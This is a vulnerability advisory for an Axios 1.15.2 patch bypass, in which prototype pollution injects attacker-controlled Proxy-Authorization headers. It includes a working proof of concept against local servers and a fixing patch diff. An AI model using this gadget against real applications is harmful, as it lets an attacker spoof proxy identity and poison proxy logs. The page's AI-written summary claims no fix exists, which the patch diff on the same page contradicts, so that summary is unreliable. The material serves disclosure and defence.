Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix
Description
# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2
Summary
The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.
The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth **without hasOwnProperty checks**. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.
Severity: Medium (CVSS 5.4) Affected Versions: 1.15.2 (and potentially 1.15.1) Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CVSS 3.1
Score: 5.6 (Medium)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | High | Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the proxy authentication context | | Confidentiality | Low | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack) | | Integrity | Low | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity | | Availability | Low | If proxy rejects the injected credentials, legitimate requests may fail |
Why
This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)
| Factor | GHSA-q8qp-cvcw-x6jj | This Finding | |---|---|---| | Precondition | None — all requests affected | Must have config.proxy set | | config.baseURL PP | Hijacks all relative URL requests | Not applicable | | config.auth PP | Injects Authorization to target server | Only injects Proxy-Authorization to proxy | | Attacker sees traffic | Yes (via baseURL redirect) | No — only proxy identity affected | | Impact scope | Universal — every axios request | Only requests with explicit proxy config |
This
Is a Patch Bypass
This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.
However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a **new plain {} object** (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.
| Layer | Protection | Status | |---|---|---| | config (top-level) | Object.create(null) | ✓ Fixed | | config.proxy (nested) | utils.merge() → const result = {} | ✗ NOT Fixed | | setProxy() reads | proxy.username, proxy.auth without hasOwnProperty | ✗ NOT Fixed |
Root
Cause Analysis
Step 1: utils.merge() creates plain {} for nested objects
File: lib/utils.js, line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = {}; // ← Plain object with Object.prototype!
// ...
}
When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.
Step 2: setProxy() reads proxy properties without hasOwnProperty
File: lib/adapters/http.js, lines 209-223
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
if (proxy.username) { // ← traverses Object.prototype!
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (proxy.auth) { // ← traverses Object.prototype!
const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
if (validProxyAuth) {
proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
}
// ...
const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!
}
// ...
}
}
Complete
Attack Chain
Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
│
▼
User config: { proxy: { host: 'proxy.corp', port: 8080 } }
│
▼
mergeConfig() → utils.merge() → new plain {}
config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)
config.proxy inherits from Object.prototype (has .username, .password)
│
▼
setProxy() at http.js:209:
proxy.username → 'attacker' (from Object.prototype) → truthy!
proxy.auth = 'attacker' + ':' + 'stolen-creds'
│
▼
http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Injected into EVERY proxied HTTP request!
Proof of
Concept
import http from 'http';
import axios from './index.js';
// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
res.writeHead(200);
res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));
// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';
// Developer sets proxy WITHOUT auth — expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});
// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds
delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();
Reproduction
Environment
Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0
Reproduction
Steps
# 1. Install axios 1.15.2
npm pack axios@1.15.2
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install
# 2. Save PoC as poc.mjs (code from Section 7 above)
# 3. Run
node poc.mjs
Verified
PoC Output
=== Axios 1.15.2: PP → Proxy-Authorization Injection ===
[1] Normal request with proxy (no auth):
Proxy-Authorization: none
[2] Prototype Pollution: Object.prototype.username = "attacker"
Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Decoded: attacker:stolen-creds
→ PP injected proxy credentials: attacker:stolen-creds
[3] Impact:
✗ Attacker injects Proxy-Authorization into all proxied requests
✗ If proxy logs auth, attacker credential appears in proxy logs
✗ If proxy authenticates based on this, attacker controls proxy identity
✗ Works on 1.15.2 despite null-prototype config fix
✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype
Confirming the
Bypass Mechanism
Direct PP (config.proxy) — BLOCKED by 1.15.2:
Object.prototype.proxy = { host: 'evil' }
config.proxy = undefined ← null-prototype blocks ✓
Nested PP (proxy.username) — BYPASSES 1.15.2:
Object.prototype.username = 'attacker'
config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties
config.proxy own keys: ['host', 'port'] ← username NOT own
config.proxy.username = 'attacker' ← inherited from Object.prototype!
hasOwn(config.proxy, 'username') = false
## Impact
Analysis
- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.
### Prerequisite
- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted
## Recommended
Fix
### Fix 1: Use `hasOwnProperty` in `setProxy()`
```javascriptfunction setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);
if (hasOwn(proxy, 'username')) { proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); }
if (hasOwn(proxy, 'auth')) { // ... existing auth handling ... } } } `` ### Fix 2: Use null-prototype objects in utils.merge() ``javascript
// lib/utils.js line 406 function merge(/* obj1, obj2, obj3, ... */) { const result = Object.create(null); // ← null-prototype for nested objects too // ... } `` ### Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()` ## References - CWE-1321: Prototype Pollution - GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2) - GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0) - Axios GitHub Repository
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Axios 1.15.2's null-prototype fix is incomplete; nested config objects like `proxy` remain vulnerable to prototype pollution, allowing injection of Proxy-Authorization headers.
Vulnerability
The Object.create(null) fix introduced in Axios 1.15.2 to address GHSA-q8qp-cvcw-x6jj protects only the top-level config object from prototype pollution. Nested objects created by utils.merge(), such as config.proxy, are still constructed as plain {} with Object.prototype in their prototype chain. The setProxy() function in lib/adapters/http.js (lines 209-223) reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks [1][2]. This allows attackers to inject arbitrary Proxy-Authorization headers when Object.prototype is polluted. Affected versions include Axios 1.15.2 (and potentially 1.15.1) [1][2].
Exploitation
An attacker must first achieve prototype pollution in the same Node.js process via a vulnerable dependency. Additionally, the application must explicitly configure config.proxy for any request [1][2]. With these preconditions met, when Object.prototype.username (or password or auth) is polluted, the setProxy() function reads the polluted value and constructs a Proxy-Authorization header with attacker-controlled credentials, injecting it into every subsequent proxied HTTP request [1][2].
Impact
On successful exploitation, the attacker controls the Proxy-Authorization credentials sent with each proxied request. This can lead to credential injection appearing in proxy authentication logs (confidentiality low), potential integrity impact if the proxy applies different access policies based on the injected identity, and availability impact if the proxy rejects the injected credentials, causing legitimate requests to fail [1][2]. The CVSS v3.1 score is 5.6 (Medium) [1][2].
Mitigation
As of the available references, no fix has been published for this specific bypass [1][2]. The incomplete patch in Axios 1.15.2 did not address the root cause in nested objects. Users should monitor the GitHub advisory and axios repository for an updated release. Until a fix is available, ensuring no prototype pollution gadgets exist in the dependency tree and avoiding the use of proxy configurations where possible may reduce risk [1][2].
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
19d92bcd32639fix: gadgets and smaller issues (#10833)
23 files changed · +1495 −352
docs/pages/advanced/error-handling.md+11 −0 modified@@ -70,3 +70,14 @@ axios.get("/user/12345").catch(function (error) { console.log(error.toJSON()); }); ``` + +To avoid logging secrets from `error.config`, pass a `redact` array in the request config. Matching config keys are masked case-insensitively at any depth when `AxiosError#toJSON()` is called. + +```js +axios.get("/user/12345", { + headers: { Authorization: "Bearer token" }, + redact: ["authorization"] +}).catch(function (error) { + console.log(error.toJSON().config.headers.Authorization); // [REDACTED ****] +}); +```
docs/pages/advanced/request-config.md+24 −0 modified@@ -108,6 +108,12 @@ The `data` is the data to be sent as the request body. This can be a string, a p - Browser only: FormData, File, Blob - Node only: Stream, Buffer, FormData (form-data package) +For Node.js `FormData` objects that provide a `getHeaders()` method, axios copies all returned headers by default for v1 compatibility. If the `FormData` object is custom or not fully trusted, set `formDataHeaderPolicy: 'content-only'` to copy only `Content-Type` and `Content-Length`, and set any other request headers explicitly via the request `headers` config. + +### `formDataHeaderPolicy` <Badge type="warning" text="Node.js only" /> + +Controls how axios copies headers returned by Node.js `FormData#getHeaders()`. The default is `'legacy'`, which copies all returned headers to preserve existing v1 behavior. Set `'content-only'` to copy only `Content-Type` and `Content-Length` from `getHeaders()`. + ### `timeout` The `timeout` is the number of milliseconds before the request times out. If the request takes longer than `timeout`, the request will be aborted. @@ -206,6 +212,22 @@ The `maxContentLength` property defines the maximum number of bytes that the ser The `maxBodyLength` property defines the maximum number of bytes that the server will accept in the request. +### `redact` + +The `redact` property is an optional array of config key names to mask when an `AxiosError` is serialized with `toJSON()`. Matching is case-insensitive and recursive across the serialized request config. Matching values are replaced with `[REDACTED ****]`. + +`redact` only affects error serialization. It does not change request data, headers, or the original config object. + +```js +axios.get('/user/12345', { + headers: { Authorization: 'Bearer token' }, + auth: { username: 'me', password: 'secret' }, + redact: ['authorization', 'password'] +}).catch((error) => { + console.log(error.toJSON().config); +}); +``` + ### `validateStatus` The `validateStatus` function allows you to override the default status code validation. By default, axios will reject the promise if the status code is not in the range of 200-299. You can override this behavior by providing a custom `validateStatus` function. The function should return `true` if the status code is within the range you want to accept. @@ -362,6 +384,7 @@ The `maxRate` property defines the maximum **bandwidth** (in bytes per second) f data: { firstName: "Fred" }, + formDataHeaderPolicy: "legacy", // Syntax alternative to send data into the body method post only the value is sent, not the key data: "Country=Brasil&City=Belo Horizonte", timeout: 1000, @@ -387,6 +410,7 @@ The `maxRate` property defines the maximum **bandwidth** (in bytes per second) f }, maxContentLength: 2000, maxBodyLength: 2000, + redact: ['authorization', 'password'], validateStatus: function (status) { return status >= 200 && status < 300; },
index.d.cts+2 −0 modified@@ -552,6 +552,8 @@ declare namespace axios { http2Options?: Record<string, any> & { sessionTimeout?: number; }; + formDataHeaderPolicy?: 'legacy' | 'content-only'; + redact?: string[]; } // Alias
index.d.ts+2 −0 modified@@ -447,6 +447,8 @@ export interface AxiosRequestConfig<D = any> { http2Options?: Record<string, any> & { sessionTimeout?: number; }; + formDataHeaderPolicy?: 'legacy' | 'content-only'; + redact?: string[]; } // Alias
lib/adapters/adapters.js+4 −2 modified@@ -25,11 +25,13 @@ const knownAdapters = { utils.forEach(knownAdapters, (fn, value) => { if (fn) { try { - Object.defineProperty(fn, 'name', { value }); + // Null-proto descriptors so a polluted Object.prototype.get cannot turn + // these data descriptors into accessor descriptors on the way in. + Object.defineProperty(fn, 'name', { __proto__: null, value }); } catch (e) { // eslint-disable-next-line no-empty } - Object.defineProperty(fn, 'adapterName', { value }); + Object.defineProperty(fn, 'adapterName', { __proto__: null, value }); } });
lib/adapters/http.js+68 −30 modified@@ -47,6 +47,20 @@ const isBrotliSupported = utils.isFunction(zlib.createBrotliDecompress); const { http: httpFollow, https: httpsFollow } = followRedirects; const isHttps = /https:?/; +const FORM_DATA_CONTENT_HEADERS = ['content-type', 'content-length']; + +function setFormDataHeaders(headers, formHeaders, policy) { + if (policy !== 'content-only') { + headers.set(formHeaders); + return; + } + + Object.entries(formHeaders).forEach(([key, val]) => { + if (FORM_DATA_CONTENT_HEADERS.includes(key.toLowerCase())) { + headers.set(key, val); + } + }); +} // Symbols used to bind a single 'error' listener to a pooled socket and track // the request currently owning that socket across keep-alive reuse (issue #10780). @@ -232,30 +246,51 @@ function setProxy(options, configProxy, location, isRedirect) { } } if (proxy) { + // Read proxy fields without traversing the prototype chain. URL instances expose + // username/password/hostname/host/port/protocol via getters on URL.prototype (so + // direct reads are shielded), but plain object proxies — and the `auth` field + // (which URL does not expose) — must be guarded so a polluted Object.prototype + // (e.g. Object.prototype.auth = { username, password }) cannot inject + // attacker-controlled credentials into the Proxy-Authorization header or + // redirect proxying to an attacker-controlled host. + const isProxyURL = proxy instanceof URL; + const readProxyField = (key) => + isProxyURL || utils.hasOwnProp(proxy, key) ? proxy[key] : undefined; + + const proxyUsername = readProxyField('username'); + const proxyPassword = readProxyField('password'); + let proxyAuth = utils.hasOwnProp(proxy, 'auth') ? proxy.auth : undefined; + // Basic proxy authorization - if (proxy.username) { - proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); + if (proxyUsername) { + proxyAuth = (proxyUsername || '') + ':' + (proxyPassword || ''); } - if (proxy.auth) { - // Support proxy auth object form - const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password); + if (proxyAuth) { + // Support proxy auth object form. Read sub-fields via own-prop checks so a + // plain object inheriting from polluted Object.prototype cannot leak creds. + const authIsObject = typeof proxyAuth === 'object'; + const authUsername = + authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined; + const authPassword = + authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined; + const validProxyAuth = Boolean(authUsername || authPassword); if (validProxyAuth) { - proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || ''); - } else if (typeof proxy.auth === 'object') { + proxyAuth = (authUsername || '') + ':' + (authPassword || ''); + } else if (authIsObject) { throw new AxiosError('Invalid proxy authorization', AxiosError.ERR_BAD_OPTION, { proxy }); } - const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64'); + const base64 = Buffer.from(proxyAuth, 'utf8').toString('base64'); options.headers['Proxy-Authorization'] = 'Basic ' + base64; } // Preserve a user-supplied Host header (case-insensitive) so callers can override // the value forwarded to the proxy; otherwise default to the request URL's host. let hasUserHostHeader = false; - for (const name in options.headers) { + for (const name of Object.keys(options.headers)) { if (name.toLowerCase() === 'host') { hasUserHostHeader = true; break; @@ -264,14 +299,15 @@ function setProxy(options, configProxy, location, isRedirect) { if (!hasUserHostHeader) { options.headers.host = options.hostname + (options.port ? ':' + options.port : ''); } - const proxyHost = proxy.hostname || proxy.host; + const proxyHost = readProxyField('hostname') || readProxyField('host'); options.hostname = proxyHost; // Replace 'host' since options is not a URL object options.host = proxyHost; - options.port = proxy.port; + options.port = readProxyField('port'); options.path = location; - if (proxy.protocol) { - options.protocol = proxy.protocol.includes(':') ? proxy.protocol : `${proxy.protocol}:`; + const proxyProtocol = readProxyField('protocol'); + if (proxyProtocol) { + options.protocol = proxyProtocol.includes(':') ? proxyProtocol : `${proxyProtocol}:`; } } @@ -598,9 +634,12 @@ export default isHttpAdapterSupported && } ); // support for https://www.npmjs.com/package/form-data api - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && - data.getHeaders !== Object.prototype.getHeaders) { - headers.set(data.getHeaders()); + } else if ( + utils.isFormData(data) && + utils.isFunction(data.getHeaders) && + data.getHeaders !== Object.prototype.getHeaders + ) { + setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); if (!headers.hasContentLength()) { try { @@ -724,7 +763,6 @@ export default isHttpAdapterSupported && // Null-prototype to block prototype pollution gadgets on properties read // directly by Node's http.request (e.g. insecureHTTPParser, lookup). - // See GHSA-q8qp-cvcw-x6jj. const options = Object.assign(Object.create(null), { path, method: method, @@ -743,11 +781,9 @@ export default isHttpAdapterSupported && if (config.socketPath) { if (typeof config.socketPath !== 'string') { - return reject(new AxiosError( - 'socketPath must be a string', - AxiosError.ERR_BAD_OPTION_VALUE, - config - )); + return reject( + new AxiosError('socketPath must be a string', AxiosError.ERR_BAD_OPTION_VALUE, config) + ); } if (config.allowedSocketPaths != null) { @@ -761,11 +797,13 @@ export default isHttpAdapterSupported && ); if (!isAllowed) { - return reject(new AxiosError( - `socketPath "${config.socketPath}" is not permitted by allowedSocketPaths`, - AxiosError.ERR_BAD_OPTION_VALUE, - config - )); + return reject( + new AxiosError( + `socketPath "${config.socketPath}" is not permitted by allowedSocketPaths`, + AxiosError.ERR_BAD_OPTION_VALUE, + config + ) + ); } } @@ -816,7 +854,7 @@ export default isHttpAdapterSupported && // Always set an explicit own value so a polluted // Object.prototype.insecureHTTPParser cannot enable the lenient parser - // through Node's internal options copy (GHSA-q8qp-cvcw-x6jj). + // through Node's internal options copy options.insecureHTTPParser = Boolean(own('insecureHTTPParser')); // Create the request @@ -904,7 +942,7 @@ export default isHttpAdapterSupported && if (responseType === 'stream') { // Enforce maxContentLength on streamed responses; previously this - // was applied only to buffered responses. See GHSA-vf2m-468p-8v99. + // was applied only to buffered responses. if (config.maxContentLength > -1) { const limit = config.maxContentLength; const source = responseStream; @@ -1121,7 +1159,7 @@ export default isHttpAdapterSupported && // Enforce maxBodyLength for streamed uploads on the native http/https // transport (maxRedirects === 0); follow-redirects enforces it on the - // other path. See GHSA-5c9x-8gcm-mpgx. + // other path. let uploadStream = data; if (config.maxBodyLength > -1 && config.maxRedirects === 0) { const limit = config.maxBodyLength;
lib/core/AxiosError.js+85 −1 modified@@ -1,6 +1,76 @@ 'use strict'; import utils from '../utils.js'; +import AxiosHeaders from './AxiosHeaders.js'; + +const REDACTED = '[REDACTED ****]'; + +function hasOwnOrPrototypeToJSON(source) { + if (utils.hasOwnProp(source, 'toJSON')) { + return true; + } + + let prototype = Object.getPrototypeOf(source); + + while (prototype && prototype !== Object.prototype) { + if (utils.hasOwnProp(prototype, 'toJSON')) { + return true; + } + + prototype = Object.getPrototypeOf(prototype); + } + + return false; +} + +// Build a plain-object snapshot of `config` and replace the value of any key +// (case-insensitive) listed in `redactKeys` with REDACTED. Walks through arrays +// and AxiosHeaders, and short-circuits on circular references. +function redactConfig(config, redactKeys) { + const lowerKeys = new Set(redactKeys.map((k) => String(k).toLowerCase())); + const seen = []; + + const visit = (source) => { + if (source === null || typeof source !== 'object') return source; + if (utils.isBuffer(source)) return source; + if (seen.indexOf(source) !== -1) return undefined; + + if (source instanceof AxiosHeaders) { + source = source.toJSON(); + } + + seen.push(source); + + let result; + if (utils.isArray(source)) { + result = []; + source.forEach((v, i) => { + const reducedValue = visit(v); + if (!utils.isUndefined(reducedValue)) { + result[i] = reducedValue; + } + }); + } else { + if (!utils.isPlainObject(source) && hasOwnOrPrototypeToJSON(source)) { + seen.pop(); + return source; + } + + result = Object.create(null); + for (const [key, value] of Object.entries(source)) { + const reducedValue = lowerKeys.has(key.toLowerCase()) ? REDACTED : visit(value); + if (!utils.isUndefined(reducedValue)) { + result[key] = reducedValue; + } + } + } + + seen.pop(); + return result; + }; + + return visit(config); +} class AxiosError extends Error { static from(error, code, config, request, response, customProps) { @@ -35,6 +105,9 @@ class AxiosError extends Error { // The native Error constructor sets message as non-enumerable, // but axios < v1.13.3 had it as enumerable Object.defineProperty(this, 'message', { + // Null-proto descriptor so a polluted Object.prototype.get cannot turn + // this data descriptor into an accessor descriptor on the way in. + __proto__: null, value: message, enumerable: true, writable: true, @@ -53,6 +126,17 @@ class AxiosError extends Error { } toJSON() { + // Opt-in redaction: when the request config carries a `redact` array, the + // value of any matching key (case-insensitive, at any depth) is replaced + // with REDACTED in the serialized snapshot. Undefined or empty leaves the + // existing serialization behavior unchanged. + const config = this.config; + const redactKeys = config && utils.hasOwnProp(config, 'redact') ? config.redact : undefined; + const serializedConfig = + utils.isArray(redactKeys) && redactKeys.length > 0 + ? redactConfig(config, redactKeys) + : utils.toJSONObject(config); + return { // Standard message: this.message, @@ -66,7 +150,7 @@ class AxiosError extends Error { columnNumber: this.columnNumber, stack: this.stack, // Axios - config: utils.toJSONObject(this.config), + config: serializedConfig, code: this.code, status: this.status, };
lib/core/AxiosHeaders.js+3 −0 modified@@ -98,6 +98,9 @@ function buildAccessors(obj, header) { ['get', 'set', 'has'].forEach((methodName) => { Object.defineProperty(obj, methodName + accessorName, { + // Null-proto descriptor so a polluted Object.prototype.get cannot turn + // this data descriptor into an accessor descriptor on the way in. + __proto__: null, value: function (arg1, arg2, arg3) { return this[methodName].call(this, header, arg1, arg2, arg3); },
lib/core/mergeConfig.js+6 −3 modified@@ -19,11 +19,14 @@ export default function mergeConfig(config1, config2) { config2 = config2 || {}; // Use a null-prototype object so that downstream reads such as `config.auth` - // or `config.baseURL` cannot inherit polluted values from Object.prototype - // (see GHSA-q8qp-cvcw-x6jj). `hasOwnProperty` is restored as a non-enumerable - // own slot to preserve ergonomics for user code that relies on it. + // or `config.baseURL` cannot inherit polluted values from Object.prototype. + // `hasOwnProperty` is restored as a non-enumerable own slot to preserve + // ergonomics for user code that relies on it. const config = Object.create(null); Object.defineProperty(config, 'hasOwnProperty', { + // Null-proto descriptor so a polluted Object.prototype.get cannot turn + // this data descriptor into an accessor descriptor on the way in. + __proto__: null, value: Object.prototype.hasOwnProperty, enumerable: false, writable: true,
lib/helpers/cookies.js+14 −2 modified@@ -30,8 +30,20 @@ export default platform.hasStandardBrowserEnv read(name) { if (typeof document === 'undefined') return null; - const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)')); - return match ? decodeURIComponent(match[1]) : null; + // Match name=value by splitting on the semicolon separator instead of building a + // RegExp from `name` — interpolating an unescaped string into a RegExp would let + // metacharacters (e.g. `.+?` in an attacker-influenced cookie name) cause ReDoS or + // match the wrong cookie. Browsers may serialize cookie pairs as either ";" or + // "; ", so ignore optional whitespace before each cookie name. + const cookies = document.cookie.split(';'); + for (let i = 0; i < cookies.length; i++) { + const cookie = cookies[i].replace(/^\s+/, ''); + const eq = cookie.indexOf('='); + if (eq !== -1 && cookie.slice(0, eq) === name) { + return decodeURIComponent(cookie.slice(eq + 1)); + } + } + return null; }, remove(name) {
lib/helpers/resolveConfig.js+27 −18 modified@@ -7,6 +7,21 @@ import mergeConfig from '../core/mergeConfig.js'; import AxiosHeaders from '../core/AxiosHeaders.js'; import buildURL from './buildURL.js'; +const FORM_DATA_CONTENT_HEADERS = ['content-type', 'content-length']; + +function setFormDataHeaders(headers, formHeaders, policy) { + if (policy !== 'content-only') { + headers.set(formHeaders); + return; + } + + Object.entries(formHeaders).forEach(([key, val]) => { + if (FORM_DATA_CONTENT_HEADERS.includes(key.toLowerCase())) { + headers.set(key, val); + } + }); +} + /** * Encode a UTF-8 string to a Latin-1 byte string for use with btoa(). * This is a modern replacement for the deprecated unescape(encodeURIComponent(str)) pattern. @@ -15,16 +30,16 @@ import buildURL from './buildURL.js'; * * @returns {string} UTF-8 bytes as a Latin-1 string */ -const encodeUTF8 = (str) => encodeURIComponent(str).replace( - /%([0-9A-F]{2})/gi, - (_, hex) => String.fromCharCode(parseInt(hex, 16)) -); +const encodeUTF8 = (str) => + encodeURIComponent(str).replace(/%([0-9A-F]{2})/gi, (_, hex) => + String.fromCharCode(parseInt(hex, 16)) + ); export default (config) => { const newConfig = mergeConfig({}, config); // Read only own properties to prevent prototype pollution gadgets - // (e.g. Object.prototype.baseURL = 'https://evil.com'). See GHSA-q8qp-cvcw-x6jj. + // (e.g. Object.prototype.baseURL = 'https://evil.com'). const own = (key) => (utils.hasOwnProp(newConfig, key) ? newConfig[key] : undefined); const data = own('data'); @@ -47,8 +62,10 @@ export default (config) => { // HTTP basic authentication if (auth) { - headers.set('Authorization', 'Basic ' + - btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) + headers.set( + 'Authorization', + 'Basic ' + + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } @@ -57,14 +74,7 @@ export default (config) => { headers.setContentType(undefined); // browser handles it } else if (utils.isFunction(data.getHeaders)) { // Node.js FormData (like form-data package) - const formHeaders = data.getHeaders(); - // Only set safe headers to avoid overwriting security headers - const allowedHeaders = ['content-type', 'content-length']; - Object.entries(formHeaders).forEach(([key, val]) => { - if (allowedHeaders.includes(key.toLowerCase())) { - headers.set(key, val); - } - }); + setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); } } @@ -79,10 +89,9 @@ export default (config) => { // Strict boolean check — prevents proto-pollution gadgets (e.g. Object.prototype.withXSRFToken = 1) // and misconfigurations (e.g. "false") from short-circuiting the same-origin check and leaking - // the XSRF token cross-origin. See GHSA-xx6v-rp6x-q39c. + // the XSRF token cross-origin. const shouldSendXSRF = - withXSRFToken === true || - (withXSRFToken == null && isURLSameOrigin(newConfig.url)); + withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
lib/helpers/shouldBypassProxy.js+26 −1 modified@@ -87,6 +87,31 @@ const parseNoProxyEntry = (entry) => { return [entryHost, entryPort]; }; +// Convert IPv4-mapped IPv6 (::ffff:0:0/96 prefix) to IPv4 dotted form so both +// sides of a NO_PROXY comparison see the same canonical address. Without this, +// `NO_PROXY=192.168.1.5` would not match a request to `http://[::ffff:192.168.1.5]/` +// (Node's URL parser normalises that to `[::ffff:c0a8:105]`), and vice-versa, +// allowing the proxy-bypass policy to be circumvented by using the alternate +// representation. Returns the input unchanged when not IPv4-mapped. +const IPV4_MAPPED_DOTTED_RE = /^(?:::|(?:0{1,4}:){1,4}:|(?:0{1,4}:){5})ffff:(\d+\.\d+\.\d+\.\d+)$/i; +const IPV4_MAPPED_HEX_RE = /^(?:::|(?:0{1,4}:){1,4}:|(?:0{1,4}:){5})ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; + +const unmapIPv4MappedIPv6 = (host) => { + if (typeof host !== 'string' || host.indexOf(':') === -1) return host; + + const dotted = host.match(IPV4_MAPPED_DOTTED_RE); + if (dotted) return dotted[1]; + + const hex = host.match(IPV4_MAPPED_HEX_RE); + if (hex) { + const high = parseInt(hex[1], 16); + const low = parseInt(hex[2], 16); + return `${high >> 8}.${high & 0xff}.${low >> 8}.${low & 0xff}`; + } + + return host; +}; + const normalizeNoProxyHost = (hostname) => { if (!hostname) { return hostname; @@ -96,7 +121,7 @@ const normalizeNoProxyHost = (hostname) => { hostname = hostname.slice(1, -1); } - return hostname.replace(/\.+$/, ''); + return unmapIPv4MappedIPv6(hostname.replace(/\.+$/, '')); }; export default function shouldBypassProxy(location) {
lib/helpers/validator.js+1 −1 modified@@ -87,7 +87,7 @@ function assertOptions(options, schema, allowUnknown) { while (i-- > 0) { const opt = keys[i]; // Use hasOwnProperty so a polluted Object.prototype.<opt> cannot supply - // a non-function validator and cause a TypeError. See GHSA-q8qp-cvcw-x6jj. + // a non-function validator and cause a TypeError. const validator = Object.prototype.hasOwnProperty.call(schema, opt) ? schema[opt] : undefined; if (validator) { const value = options[opt];
